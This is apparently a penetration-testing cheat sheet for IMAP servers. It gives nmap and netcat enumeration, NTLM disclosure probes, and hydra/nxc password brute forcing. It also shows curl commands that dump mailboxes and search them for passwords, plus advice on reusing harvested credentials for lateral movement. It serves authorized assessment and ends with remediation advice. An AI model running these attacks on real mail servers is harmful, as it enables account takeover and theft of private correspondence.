Pentesting Imap

Pentesting IMAP (ports 143, 993)

When to Use

• Default ports: 143/tcp (cleartext IMAP) and 993/tcp (IMAP over TLS / IMAPS).
• When nmap/banner shows imap, an * OK ... IMAP4 greeting, or Dovecot/Courier/Exchange IMAP.
• For credential testing and post-auth mailbox data extraction (emails often hold reusable secrets).

Quick Enumeration

# Cleartext banner
nc -nv <IP> 143

# IMAPS banner
openssl s_client -connect <IP>:993 -quiet

# Capabilities + NTLM info
nmap --script "imap-capabilities or imap-ntlm-info" -sV -p 143,993 <IP>

# Shodan-style discovery markers
#   port:143 CAPABILITY   |   port:993 CAPABILITY

Critical: Checks Most Often Missed

• Cleartext credentials on 143 — LOGIN user pass over port 143 (no STARTTLS) is sniffable.
  • How to CONFIRM: capture with tcpdump -i eth0 -A 'tcp port 143' and observe the A1 LOGIN line; check CAPABILITY for LOGINDISABLED/STARTTLS absence.
• NTLM info disclosure — AUTHENTICATE NTLM leaks Windows/domain build info on Exchange.
  • How to CONFIRM:

    nmap -p143 --script imap-ntlm-info <IP>
    # or manual:
    telnet <IP> 143
    a1 AUTHENTICATE NTLM
    TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=   # Type-1; server returns Type-2 with metadata
    

• Weak/default credentials — reused or guessable mailbox passwords; brute-forceable.
  • How to CONFIRM: hydra -l <user> -P passwords.txt imap://<IP> returns a valid login.
• Authenticated mailbox data exposure — once logged in, mailboxes frequently contain passwords, internal hostnames, and VPN/onboarding secrets that scanners never read.
  • How to CONFIRM: search bodies for password (see curl TEXT password below).

Workflow

Step 1: Enumerate (capabilities, version, NTLM)

nc -nv <IP> 143
openssl s_client -connect <IP>:993 -quiet
nmap --script "imap-capabilities or imap-ntlm-info" -sV -p 143,993 <IP>
msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS <IP>; set RPORT 143; run; exit'

Step 2: Authenticate (default creds, brute force)

# Brute force (use IMAPS port for cleartext-disabled servers)
hydra -L users.txt -P passwords.txt -f imap://<IP>
hydra -l <user> -P passwords.txt -f imaps://<IP>
nxc imap <IP> -u users.txt -p passwords.txt

# Manual login (tagged commands; quote values containing spaces)
openssl s_client -connect <IP>:993 -quiet
A1 LOGIN "username" "password"

Step 3: Exploit / Extract (browse + dump mailboxes)

# Raw IMAP command flow after login
A1 LIST "" *                       # list all mailboxes/folders
A1 SELECT INBOX                    # open mailbox
A1 STATUS INBOX (MESSAGES UNSEEN RECENT)
A1 FETCH 1:* (FLAGS)               # list messages
A1 FETCH 2 body[text]              # retrieve message body
A1 UID FETCH 102 (UID RFC822.SIZE BODY.PEEK[])
A1 LOGOUT

# curl-driven extraction (IMAPS)
curl -k 'imaps://<IP>/' --user user:pass                       # list mailboxes
curl -k 'imaps://<IP>/INBOX?ALL' --user user:pass              # message indices
curl -k 'imaps://<IP>/Drafts?TEXT password' --user user:pass   # search bodies for "password"
curl -k 'imaps://<IP>/Drafts;MAILINDEX=1' --user user:pass     # download a message

# Pull subject+sender of the first 5 messages
for m in {1..5}; do
  curl -k "imaps://<IP>/INBOX;MAILINDEX=$m;SECTION=HEADER.FIELDS%20(SUBJECT%20FROM)" --user user:pass
done

Step 4: Post-access / pivot

• Grep extracted mail for credentials, password-reset links, internal hostnames, and VPN/onboarding details.
• Reuse harvested credentials against SMTP/OWA/SSH/VPN; map internal topology from message headers.
• A GUI client like evolution (apt install evolution) speeds up manual triage of large mailboxes.

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Cleartext IMAP credential capture

Port 143 lacks STARTTLS. A MitM + tcpdump 'tcp port 143' captures A1 LOGIN user pass in plaintext, which is then reused on the corporate VPN.

Scenario 2: Brute force → mailbox secrets

hydra imaps://<IP> finds jdean:PA$$W0RD. curl 'imaps://<IP>/INBOX?TEXT password' surfaces an email containing RDP credentials, enabling lateral movement.

Scenario 3: Exchange NTLM disclosure

nmap -p143 --script imap-ntlm-info returns the NetBIOS name, domain, and OS build, aiding AD reconnaissance and target selection.

Output Format

## IMAP Finding

**Service**: IMAP
**Port**: 143/tcp (Dovecot, STARTTLS not enforced)
**Severity**: High
**Finding**: Cleartext authentication + weak credentials with sensitive mailbox content
**Evidence**:
  - CAPABILITY lacked LOGINDISABLED; tcpdump captured "A1 LOGIN jdean PA$$W0RD"
  - curl 'imaps://<IP>/INBOX?TEXT password' returned message with RDP creds
**Impact**: Credentials are exposed on the wire and mailbox content discloses additional secrets enabling lateral movement.
**Recommendation**:
  1. Enforce TLS (require STARTTLS or IMAPS only; set LOGINDISABLED on 143).
  2. Enforce strong, unique mailbox passwords and rate-limit auth.
  3. Educate users not to store credentials in email.